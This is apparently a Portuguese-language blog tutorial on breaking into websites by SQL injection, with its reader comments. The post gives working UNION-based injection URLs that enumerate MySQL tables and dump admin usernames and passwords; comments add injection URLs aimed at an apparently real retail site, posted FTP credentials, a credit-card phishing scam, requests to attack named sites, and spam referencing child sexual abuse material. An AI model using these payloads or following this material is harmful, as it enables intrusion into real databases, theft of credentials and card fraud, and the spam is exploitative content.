seguranca em redes – conceito de seguranca da informação
seguranca em redes – conceito de seguranca da informação
Tutorial como invadir com SQL Injection (MySQL), sql injection por method $_GET e $_POST, programa para sqlinjection
Clique aqui para ver o nosso novo site

Criei este tutorial a fim de demonstrar uma das melhores formas de invasão e uma das mais usadas hoje em dia. Ate porque os programadores de hoje em dia não estão si importando com a segurança do site e suas áreas restritas.

OBS: não vou explicar aqui detalhadamente sobre os códigos sql, pois quem deseja fazer ataques sqlinjection com certeza precisa ter conhecimento sobre banco de dados.

O que é Sql Injection?

É uma vulnerabilidade existente nos dias de hoje, que si usa de uma manipulação em códigos sql. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site ou ate mesmo em campos de text. obtendo, assim, informações confidenciais como logins e senhas, dentre outros.
Hoje em dia são usadas muitas técnicas para explorar um banco de dados de um site servidor…
Citarei algumas das técnicas.
1 – Sql Injection

A) Verificar a si existe uma Vulnerabilidade sem programa.

Vou citar um exemplo básico, para si saber si existe uma vulnerabilidade. Suponhamos que existe um site chamado "ALVO", e esse site contem dados enviados por variáveis URL.

Código:

http://www.alvo.com/news.php?id=5

No caso acima, o nome do site é www.alvo.com, Toda vez que você ver no link de um site o sinal de interrogação seguido de alguma palavra,letra,silaba recebendo algum valor, isso quer diser que existe um dado sendo enviado de uma pagina para outra. Exemplo: ?id=5.

Isso significa que neste caso, a pagina news.php estará recebendo o.

Concerteza na pagina, chamada news.php terá um código, parecido com esse:

$id =$_post['id'];

E obviamente terá um código sql, parecido com esse.

Query_rs = "select * from noticias where código='$id'"

Isso significa que a pagina news.php esta selecionando a noticia em que o codigo da noticia seja igual ao codigo da URL, que seria a variavel $id.

Agora, vamos a parte para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples (‘). Abaixo é mostrado a forma como a url ficará.

Código:

http://www.alvo.com/news.php?id=5′

Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection

Erro:

‘‘You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the…

O erro acima diz que a sintase da consulta sql esta incorreta. e pede para você checar o manual correspondente ao SGBD que você está utilizando. ‘‘Até parece que você é o administrador do site’’

Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Agora Iremos aprender a explorar esta vulnerabilidade. Com alguns macetes:

B) – Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.

Utilizaremos uma forma bastante simples para descobrir a quantidade de colunas existentes na tabela. Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY, esse comando é colocado no fim da sintase sql, significa ordenar em formas descendente, ascendente dentre outras a suas consulta.

Mas como utilizar este comando Sql?

Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas, ou seja, você pode acionar a coluna correspondente. Caso queira olhar a coluna 1, ordene assim:

Código:

http://www.alvo.com/news.php?id=5 order by 1

Se não aparecer nenhum erro é por que esta Coluna número 1 existe. Para localizar a quantidade de colunas basta ir tentando ordenar todas as colunas de 1 a infinito. Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna é inexistente no banco de dados.

Código:

http://www.alvo.com/news.php?id=5 order by 1/* <– Sem erro

http://www.alvo.com/news.php?id=5 order by 1,2/* <– Sem erro

http://www.alvo.com/news.php?id=5 order by 1,2,3/* <– Sem erro

http://www.site.com/news.php?id=5 order by 1,2,3,4 <– Com erro

O exemplo acima, é atribuido Colunas (1..2..3..4), no entanto, é mencionado erro na Coluna 4. Conclui-se então que esta Coluna é inexistente e que o banco possui apenas 3 Colunas.

C) – Utilizando a função UNION.

Esta função poderosa é responsável por unir vários dados localizados em Colunas de Tabelas diferentes. ‘‘Essa é muito boa’’

Vamos utilizar o exemplo abaixo para melhor exemplificar.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,2,3

Explicando a Sql:
O exemplo acima vai possibilitar ao ‘‘Injectador’’ visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.

Código:

…?id … union all select 1,2,3
Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.alvo.com/news.php. Está e a ordem que você atribui ao comando colocado na url do site.

D) – Descobrindo a versão do SGBD (MySql).

Código:

http://www.alvo.com/news.php?id=5 union all select 1,2,3

Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes no banco. Agora para visualizar a versão do banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,@@version,3

Caso não der certo, você receberá uma mensagem de erro semelhante a esta:

Citação:

“union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
Para resolver este erro vamos utilizar a função convert(). Exemplo abaixo:

Código:

http://www.alvo.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/

Ou então as funções hex() e unhex();

Código:

http://www.alvo.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/
Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.

E) – Obtendo o nome da Coluna/Tabela.

Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:

Geralmente os DBA’s (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:

Citação:

user, usuario, admin, member, membro, password, passwd, pwd, user_name

Lógico que isto depende bastante de DBA’s e qual tipo de padronização ele estiver utilizando.

Na consulta abaixo o “Injectador” bicuda, isto mesmo ele utiliza a técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,2,3 from admin
Observe que acima a query diz: “Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do usuário admin”.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin
Caso apareça erro, vá mudando o nome da coluna… afinal é a técnica da tentativa e erro.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin/

Acima, observe que a consulta começa a ficar refinada: "Mostre-me os valores Coluna/Tabelas 1, o nome do usuário e 3 do usuário admin". Ou seja, suponha que o DBA tenha criado um banco onde as ele separou a Tabela admin, como o exemplo. No entanto, este admin possui inumeras informações (campos) como: nome do admin (username), password, endereco, idade.. etc.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,username, password from admin

Caso a consulta der certo, na tela aparecerá o nome do usuário e a senha. Esta senha aparecerá na tela tanto como texto ou criptografada, em md5 hash.. etc. Vai depender muito da base de dados onde foi desenvolvido o banco.

Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Dependendo do campo, fica a seu critério inserir em hexadecimal (0x3a) ou utilizando o padrão Ascii (char(58)).

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

Na tela já aparecerá os valores com o nome do usuário administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..

Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

F) – MySql 5.

Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.

Nesta nova versão, é acrescentada um arquivo chamado information_schema, onde possui informações sobre todas as Colunas/Tabelas do banco. É este arquivo que será o nosso alvo.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.

Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas. Observer abaixo que é colocado como limite 0, 1.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

OBS: você deve ir acrescentando os valores dos limites: 1, 2; 3,4. Vai depender de você, pois vamos supor que o alvo principal é a Coluna/Tabela admin_password e está está na posição 43, então você deveria acrescentar uma por uma até achar… 1, 2; …, …; 42, 43.

Espero que tenham entendido esta parte.
Para obter o nome das colunas, também é utilizado a mesma lógica. Só que agora no arquivo information_schema.columns.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

Agora vamos a uma consulta mais específica. Caso você queira que apareça informações mais específica como o nome dos usuário pode-se fazer a consulta abaixo:

Código:

http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=ʾusersʾ/

Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de usuários.

Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

Ferramenta de auxílio
SQL Injection 1.2 + Firefox.

https://addons.mozilla.org/pt-BR/firefox/addon/6727

Para dá apoio/auxílio na injeção dos códigos da SQL Injection, aqui é mostrado um complemento do Firefox que pode ajudá-lo bastante nesta tarefa.
O SQL Injection 1.2 que é uma complemento que nos ajuda a inserir códigos tanto em Post quanto em Get. Além de você pode memorizar todas as entradas que você adquirir, sem a necessidade de utilizar o Crtl + c e Crtl + v.

Abaixo as ilustrações mostram a facilidade de uso da ferramenta.

Acima simplesmente pedimos para mostrar o usuário, a senha e o email.

Isto é um exemplo de Sql Injection Avançado. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql.
Para quem sabe manejar bem o sql, concerteza que com este simples tutorial, aprenderá coisas a mais do que estou ensinando. Aprenderá que para fazer um sql injection basta injetar um código em outro código.
Espero que todos tenham entendido pelo menos a essência da coisa.
0

A imagem 01 mostra o ícone no campo inferior do Browser. Para darmos início a execução do complemento é necessário dar um clique em cima do ícone (cadeado).

1

A imagem 02 mostra o complemento em si. Observe que não tem muito mistério, um campo para a escolha da String/Query e dois botões de escolha.

2

A imagem 3 mostra que o complemento já vem com algumas Strings, as Query's que aparecem eu mesmo adicionei.

Mas como funciona?
3

A imagem 04 mostra que o SQL Injection 1.2 já fez a limitação dos campos que podem vir a receber os Strings, que na ilustração acima correspondem a Usuário, Senha, Entrar.

Para inserir é necessário que você clique em cima de qualquer um dos 3 campos do site.

juancarloscunha

A imagem 05 aparece logo após você clicar no campo desejado. Então você pode fazer a escolha de fazer a injeção por POST ou por GET.

juancarloscunha

Na imagem 06 você agora deve escolher em qual campo será inserido a String. Para isto você deve optar em clicar em um dos dois botões:
O botão Injection Code possibilita inserir a String apenas no input que você clicou anteriormente.
O botão Injection in all possibilita que a String seja inserida em todos os campos do site.

Observe que eu clique no botão Injection in all.

Pronto, logo após para iniciar a injeção basta clicar no tão Submit this form.

_____

Existem também a possibilidade de você criar e salvar as suas próprias Strings/Querys.

Para isto, basta você clicar na ícone do SQL Injection 1.2, mostrado na ilustração 01, e adicionar conforme mostrado na figura acima.

Esta ferramenta ajuda muito aqueles que são fanáticos em sql injection, assim como me ajuda muito.

Este programa é simples e pratico.
Aqueles que tiverem alguma duvida, basta me contactar.

Clique aqui para ver mais detalhes

Relacionado
previnir sqlinjection, retirar vulnerabilidade do sql injection, vulnerabilidade sql injection, corrigir sql injection
Em "ataques"
como evitar sql injection,como previnir contra sqlinjection,como bloquiar sqlinjection no site,dificultar sql injection
Em "bugs"
SQL Injection
Em "bugs"
agosto 19, 200973 Respostas
« Anterior
Próximo »
Deixe uma resposta
O seu endereço de email não será publicado Campos obrigatórios são marcados *
Nome *
Email *
Site

Comentário

Avise-me sobre comentários seguintes por email.

Avise-me sobre novas publicações por e-mail.
Fabio em agosto 27, 2009 às 7:22 pm
Mano exc. o tutorial consegui chegar akela falha que vc relatou acima onde o banco de dados nos da um msg tipo como se fossemos o adm do DB mas eu n consigo extrair nenhuma informação. Ja tentei em diversos alvos, todos simples que creio eu ñ tenham uma boa segurança nessa questão… Bom pediria um aux. da parte de conseguir pegar os dados…

Responder
juancarloscunha em setembro 1, 2009 às 9:28 pm
É o seguinte: Si quiser aprender um pouco mais, confira este video e tambem outros video do Otávio Ribeiro.
http://www.invasao.com.br/2008/12/12/mssql-injection-no-site-da-globosatglobocom/

Responder
junior em maio 2, 2011 às 1:38 am
o site é db segue isso aq-

-
produto.php?id=1997+union+select+1,2,3,concat(usuario,0x3a,senha),5,6,7,8,9+from+usuarios+limit+1,1
-
https://varejopiccadilly.websiteseguro.com/produto.php?id=1997+union+select+1,2,3,4,5,6,7,8,9+from+usuarios+limit+1,1

Responder
Caxias_sul em setembro 1, 2009 às 9:38 pm
Este vai pros meus favoritos.
Tenho muita coisa para aprender aqui

Responder
dew em setembro 1, 2009 às 9:50 pm
Muito show este tutorial seu.
Estou acampanhando seus posts a algum tempo. Estao cada vez melhor!
Parabens pelo blog.

Responder
Maxaman em setembro 15, 2009 às 10:52 pm
Muito bom seu blog.
Segurança em rede ou invasao, eis a questao???
hehehe

Responder
Vinicius em setembro 21, 2009 às 7:49 pm
òtimo tutorial , so queria saber como fasso pra apagar os conteudos das DBs

Responder
Dirty em setembro 22, 2009 às 11:06 pm
Gostei muito

Responder
ir4 em setembro 24, 2009 às 10:02 pm
tutorial bacana

Responder
Jéssica em outubro 1, 2009 às 2:01 pm
Muito legal! Tenho q aprender mto mais sobre SQL.
E este addon aí é show.

Responder
Evandro em outubro 21, 2009 às 2:30 pm
Puts, esse juan carlos cunha conseguiu me superar nos conhecimentos

Responder
vinicius em janeiro 18, 2010 às 2:28 am
Ai brother eu fis tudo certo mais na kela parti qui vc falo que se nao aparecer erro é pq existi a coluna
aki nao deu certo n

Responder
Fernandes em janeiro 28, 2010 às 1:00 am
agradecendo ae pela apostila de SQL injection, muito Obrigado!

Responder
Geraldo em janeiro 31, 2010 às 2:50 am
ótima matéria

Responder
magal em fevereiro 18, 2010 às 4:19 pm
Você ja conseguiu invadir algum site com estes comandos ai

Responder
juancarloscunha em março 3, 2010 às 12:44 am
mais é claro que sim!

Responder
Marcelio em março 12, 2012 às 2:06 pm
Será mesmo

Marcelio em março 12, 2012 às 2:07 pm
Humm

Responder

Thiago em março 25, 2010 às 1:00 am
Consigo injetar os sql diretamente no banco, mas no site, injeto e não tenho o retorno da consulta. Como vejo o resultado?

Responder
Xicão Pica de Cuati em novembro 4, 2010 às 1:02 am
Galerinha do mau, deixem de ser idiotas. Esses codigo de Sql Injection até meu filho de 3 anos sabe se proteger. Existem coisas mais avançadas. Obviamente que não vou passar aqui pra vocês que escrevem PARTI, FIS, O SI do autor ganhou do FASSO do leitor Vinicius. Vamos Respeitar….

Responder
Ruben Alves em agosto 7, 2011 às 5:21 am
É isso aí. Para essa galera aprender tem que estudar muito sobre SQL. É bom estudar um pouco também sobre linguagens de programação pra ver se abrem mais a mente. Acho interessante Databases.
Tenho noção de algumas linguagens como C, C++, PHP, ‘‘html e css’’ e um pouco de Java, caso algu[ém esteja afim de compartilhar conhecimento, rubenanapu@hotmail.com

Responder
sem cuéca em novembro 16, 2010 às 2:31 pm
Interessante :)

Responder
rodrigo em novembro 19, 2010 às 11:38 pm
fera nao consegui nenhuma tabela da erro fui ate o numero 999 :S

Responder
rodrigo em novembro 19, 2010 às 11:46 pm
fera me ajuda a invadir um site por favor tentei todas union com numero de tabelas tem ver q da erro tem q vez q nao? no programa acunetix aki da q o site eh vulneravel a lfi e sql mas nao consigo me ajuda por favor
rodrigo_285@hotmail.com

Responder
victor Pestana em dezembro 11, 2010 às 2:15 am
boas, podes-me dizer onde arranjo este https://addons.mozilla.org/pt-BR/firefox/addon/6727/ mas para a versao 3.6.13 do firefox ? muito obrigado :)

Responder
victor Pestana em dezembro 11, 2010 às 2:17 am
ja agora, como sou muito mas mesmo muito recente iniciado nisto, onde consigo ir buscar esses ‘‘comandos’’ pro sql e como sei que estao correctos ?

Responder
Rodrigo em dezembro 30, 2010 às 6:55 am
Cara sinceramente você devia ter vergonha de está postando isso na internet, ensinando os outros a invadirem sites e predicar os donos do site, você deve ser um desocupado

Responder
junior em maio 2, 2011 às 1:34 am
é um metodo de ganhar dinheiro.

-

vc que num sabe ganhar dinheiro fika ai flando merda…

Responder
Yuri em março 27, 2011 às 12:24 pm
OTIMO POst juan muito facil de entender voce é um excelente professor!
grato pelo post

Responder
Trewor [WHITE HAT] em março 30, 2011 às 3:35 pm
Since , o unico problema é que todos os servidores de php + mysql não funciona mas esse tipo de invasão.

Responder
junior em maio 2, 2011 às 1:31 am
Funciona sim tanto asp e php .

Responder
junior em maio 2, 2011 às 1:21 am
Conseguir invadir varios sites ,ñ só com esse comando + com outros também ,
vou dar exemplos de admins que conseguir + todos ja (cairam,ñ consigu logar mais)

Exemplo: (Carat,Cremonesi,Zelão,Pacobello,Comecebem,Casadasalianças,joias Vip ,execultivo club entre outros sites).

- vlw abração.

Responder
frenky em maio 7, 2011 às 11:55 pm
79Xpce http://gdjI3b7VaWpU1m0dGpvjRrcu9Fk.com

Responder
Tux em junho 21, 2011 às 8:33 pm
O cara que falou que não se devia ensinar isso está totalmente errado.

Eu mesmo usei o que aprendi aqui para melhorar a segurança dos meus proprios sites. Testei meus sites e 2 estavam vulneraveis e já estou corringindo isso.

Responder
N1 em junho 30, 2011 às 2:00 am
Precisava de uma ajuda se alguém poder ajudar.

Dá-me erro 500 internal server. e não aparece nada quando escrevo union all select. ou melhor aparece, no codigo html diz:

Unfortunately, Microsoft has added a clever new
– ‘‘feature’’ to Internet Explorer. If the text of
– an error’s message is ‘‘too small’’, specifically
– less than 512 bytes, Internet Explorer returns

nao consigo puxar mais texxto

sei que está a funcionar pelos codigos anteriores.

cumprimentos e obrigado

Responder
mateus em julho 23, 2011 às 10:46 pm
pco, primeiramente parabens pelo site, e otimo

eu gostaria de saver como entro a força num router, eu divido a net com 3 vizinhos (obrigado, sao amigos da minha mae) mais os vi.. lagam a rede toda, eu quero entrar no router pra poder colocar meu pc como prioritario, mais o tecnico mudo a senha do router e o id, mais sei que e possivel forçar entrada e mudar os bang, se puder me mandar um pequeno tudo meu email e mateusdepaula3@gmail.com

Responder
Sfnjjrge em setembro 4, 2011 às 6:07 pm
How much is a First Class stamp? video nude child 117122

Responder
Zrteavbm em setembro 6, 2011 às 12:04 pm
Can I take your number? online teen porn flicks quij

Responder
Pxocmdwb em setembro 7, 2011 às 5:53 am
A financial advisor elite nymphets
24569

Responder
Ezhuflda em setembro 22, 2011 às 9:00 am
Could you transfer $1000 from my current account to my deposit account? Underage Lolita Pic mbmcww

Responder
Dqtzucut em setembro 24, 2011 às 8:52 pm
I’ve come to collect a parcel Portal Pretenns Models
hfvyic

Responder

marcelo.dx.11 em outubro 3, 2011 às 12:45 pm
Fiz tudo certinho e deu graças a vocês so de uma equipe hacker e.e”

Responder
Daniel Alves em dezembro 18, 2011 às 4:12 am
Aii galera..
novato aqqq..
se puderem m encinar como ivadir ate memo
me mandar um programa, de ivasão ficarei muito agradecido
meo msn se tiver alguem que poder me ajudar nisto
das_dogao@hotmail.com

Responder
Célio Augusto em dezembro 31, 2011 às 10:44 am
se a informação aparece na url ex (?id=5), o metodo usado é $_GET

Responder
Diego Lopes do Nascimento em março 29, 2012 às 6:26 pm
Sim.
Quando o parâmetro é passado via Query String, se o método $_GET para retorná-lo como resposta do servidor.

Responder
Filipi Santana de Assis em fevereiro 15, 2012 às 1:54 am
Muito bom! Segurança é realmente tudo. Parabéns pelo detalhamento nos exemplos.

Responder
fabio em fevereiro 21, 2012 às 4:37 am
powww me amarrei nisso tudo e gostaria de faser prarte desse mundo maravilhoso de vcs….
todo tipo de informaçao q tiverem dispostos a passar terei o maior praser em recebelas ok ….
abraço a todos e parabens.

Responder
Marcos em maio 18, 2012 às 5:05 am
muiiito obrigado pelo turtorial era isso q faltava em min na arte da invasão te agradeço muito

-3573RM1N4D0R-

gostaria de qe vc me add no hotmail para compartilhar mais informaçoes
agradeço desde ja.

marcos_jose_chagas@hotmail.com

Responder
este cara merece em junho 21, 2012 às 8:07 pm
Informações FTP:
==========
Endereço FTP: 66.7.194.47

Usuário: infor
Senha: $Tgtasr\TRDS

Responder
caio em julho 11, 2012 às 5:29 am
querem a aprender a ser hacker entao e o seguinte vou contar a minha historia pra vcs

Como HACKEAR números de Cartão de Créditos?
Deixe eu me apresentar, fui engenheiro do grupo UOL em 2009 sei de muita coisa desta empresa, inclusive deixei brechas de segurança que nunca foram encontradas ou arrumadas… sou o responsável por duas delas, e uma que os caros amigos vão gostar muito…
Deixei implementada nos servidores do UOL uma maneira muito fácil para obter números de cartões de créditos por e-mail!
Vou explicar melhor… Sempre que alguêm faz uma compra na internet com cartões de créditos, as informações ficam armazenadas em um servidor de dados, alguns seguros outros nem tanto!
Todos sabemos que brechas de segurança estão ai para serem exploradas. Meus amigos da UOL são campeões nesse aspecto. Seus servidores são tão inseguros que várias operações podem ser feitas sem muitos problemas como: – enviar e-mail sem estar autenticado e pasmem… obter cartões de créditos armazenados em seus servidores.
Eu deixei uma falha em um servidor da UOL (que é o mesmo usado pelo BOL), através de um e-mail que permite ao hacker enviar para o servidor linhas de código que acabam gerando um Bug…
E após confirmar umas informações lhe retorna as informações de cartão de crédito dos últimos 5 clientes ativos. Para que você receba as informações corretamente siga as instruções(tem que ser do jeito que está aqui)
: mande um email para: (caioguitarra2009@hotmail.com.br)
com assunto: accnto0545-cc-ecard-infoE52488-Cod.05 (isto vai gerar o bug no servidor – não use espaços!)
Note que na primeira linha da mensagem você deverá colocar as informaçõe de um cartão válido – porque quando você mandar o email o servidor com o bug faz uma breve confirmação de dados do cartão (é a única barreira de segurança dele) – então não adianta colocar numero de cartão falso porque não funciona!
Siga o exemplo de como colocar no email:
(1ª linha) 000003#//0000003## (não mude isso!!!- é como uma chave de segurança do servidor)
(2ª Linha) (Aqui você vai colocar as informações do cartão válido, que você vai usar pra entrar no servidor – Tem que ser um cartão válido!)
Name#: (Nome que está no cartão válido – do jeito que está no cartão)
Number-e-card#: (Número do cartão válido – o mesmo cartão que você colocou o nome)
e-card#Grup#: (Nome da empresa do cartão válido – Mastercard, Visa, Credicard, etc)
Vili# mm/aa (aqui voce coloca a data de válidade do cartão válido – mes /ano) cpf###: (número do cpf do dono do cartão – para verificação do sistema)
rg###:(número do rg do dono do cartão – para verificação do sistema)
sytem0000478547#####03 (não mude este número)
number-segurity##: (geralmente é os 3 últimos digitos e está atras do cartão de crédito.)
return in time#:0015 (tempo de retorno das informações – sugiro que seja 15 min) return#: (coloque entre o e-mail que você deseja que retorne os números dos cartões válidos)
#end#-theend_number### (indica o fechamento de segurança para que suas informações não fique no servidor – Não se esqueça desta linha) Se voce seguir as informações do modo que está

aqui, você vai receber 5 números de Cartões Válidos! Ai você vai poder comprar de tudo na internet. Vamos nos ajudar! Se tiver mais alguma brecha ai tambem passe pra nós!

Responder
edaili em julho 26, 2012 às 7:35 pm
“(…) number-segurity##: (geralmente é os 3 últimos digitos e está atras do cartão de crédito.) (…)’

“seGurity??? com “G”???!!!”…. aff… agora todos sabemos porque você é EX funcionario da UOL… AHHAHAHAAHAHAH…..

Responder
asdf em março 27, 2013 às 1:32 pm
o burro ta inglês

mario em fevereiro 23, 2013 às 11:03 pm
contato mariosilva20113@hot quero falar com vc

Responder
c4rnivor3 em março 2, 2013 às 5:36 am
Isso é mais velho, que posição de cagar. Isso ai, não pega mais ninguém seu mala! Vai estudar Protocolos, linguagens de programação, linux, vão entender, como funciona um sistema operacional, conheçam as falhas, pesquisem, leiam bastante sobre redes, dentre outras coisas… que vocês vão conseguir serem um profissional na área da segurança da informação. Agora ficar dando trela pra esse energumeno, que vem pousar de entendendido. Esse cara não entende de nada! Mandem, um numero de cartão de credito pra ele. Aproveita, e manda pra mim também, estou querendo uma grana!

Responder
claudio em setembro 25, 2012 às 6:35 am
conversa fiada desse CAIO ai, Malandro é pato que nasce com dedo grudado pra nao usar alianca, tu se acha o fodastico kkk vai vendo…….

Responder
Ronison rodrigues melo em outubro 14, 2012 às 7:43 am
Olá amigo.
Muito bom esse tutorial.
Aperfeiçoei meus conhecimentos com esse tutorial.
Obrigado.

Responder
Pingback: Tutorial como invadir com SQL Injection (MySQL), sql injection por method $_GET e $_POST, programa para sqlinjection – Técnico em redes
Rafael Ramos em novembro 10, 2012 às 6:20 pm
Excelente artigo!

Material de referência para testes de seguranças nos meus sistemas!

Abç!

Responder
Rafael em fevereiro 4, 2013 às 10:46 am
Open my mind!!!

Responder
mario em fevereiro 23, 2013 às 11:00 pm
preciso de alguém bom mariosilva20113@h manda email

Responder
Useful Source em abril 8, 2013 às 10:43 am
An outstanding share! I have just forwarded this onto a coworker who was doing a
little homework on this. And he actually bought me breakfast because I found it for him.
.. lol. So let me reword this…. Thanks for the meal!! But yeah,
thanx for spending time to discuss this issue here on your website.

Responder
Rafael em abril 8, 2013 às 5:13 pm
Alguem ae poderia dar uma detonada no http://WWW.PLUGADOZ.NET o dono la se intitula o maior programador da wap e vive dizendo que nenhum cracker afeta ele ta merecendo uma licao o mane

Responder
Clicking Here em abril 26, 2013 às 6:03 am
I pay a visit daily a few web sites and blogs to read articles or reviews, however this blog presents quality based posts.

Responder
Find Out More em maio 8, 2013 às 2:36 am
If some one needs to be updated with most up-to-date technologies afterward
he must be pay a quick visit this website and be up
to date all the time.

Responder
Thalis em maio 11, 2013 às 9:26 pm
legal , hora de implementar maior segurança nos meus sites senão a galera vai brinca muito com eles kk

Responder
AdabPT em maio 14, 2013 às 1:25 pm
Tenho uma duvida, tipo se posermos por exemplo ‘‘URL?id=5`’’ e voltar a recarregar a pagina sem dar algum erro, quer dizer que nao é possivel entrar no banco de dados do site? existe mais formas?

Responder
Ânjo Morto † (@thiagoyb) em maio 14, 2013 às 7:32 pm
otimo tutorial !!

Responder
Mandy em maio 14, 2013 às 7:33 pm
que legal

Responder
Carlos Alberto em junho 24, 2013 às 10:51 pm
Tutorial publicado apenas para divulgar o site em questão (ALVO)….hahaha

Boa estratégia de marketing!

Responder
fabricio em setembro 9, 2013 às 9:43 pm
Eu invado sites e cobro para corrigi o erro recomendo a quem invade so para zua

Responder
Rogerio Penna Bastos em novembro 2, 2013 às 7:41 pm
Ninguém consegue mais invadir assim! Vou deixar o meu site e quero ver! Criançada, bando de bundão! Vem tentar pra ver! Idiota vai trabalhar. vou deixar aqui o meu site e te espero idiota vem ver que aqui tem! Vai sair machucadinho! Babacas por causa de idiotas como veces é que a deepweb tem de existir.
Vai arriscar, http://www.leiloesbr.com.br/painel/default.asp

Responder
Rogerio Pena Bastos em setembro 22, 2013 às 11:48 pm
Ninguém consegue mais invadir assim! Vou deixar o meu site e quero ver! Criançada, bando de bundão! Vem tentar pra ver! Idiota vai trabalhar. vou deixar aqui o meu site e te espero idiota vem ver que aqui tem! Vai sair machucadinho! Babacas por causa de idiotas como veces é que a deepweb tem de existir.
Vai arriscar, http://www.leiloesbr.com.br/painel/default.asp

Responder
kikolp em março 15, 2014 às 12:47 am
Pra quem quer proteger seus sites boas dicas!

Responder
Categorias do site

ataques buffer overflow bugs DB exploits firewall hardware honeypots humor linux metasploit normal noticias outro assunto programacao programas rede scanner seguranca segurança da informaçao shellcode sistemas operacionais Sniffer sqlinjection virus windows wirelles
ANUNCIOS

animes rei desenvolvimento de sites em goiania desenvolvimento de sites em goiania
View Full Site
Now Available! Download WordPress for Android

Crie um website ou blog gr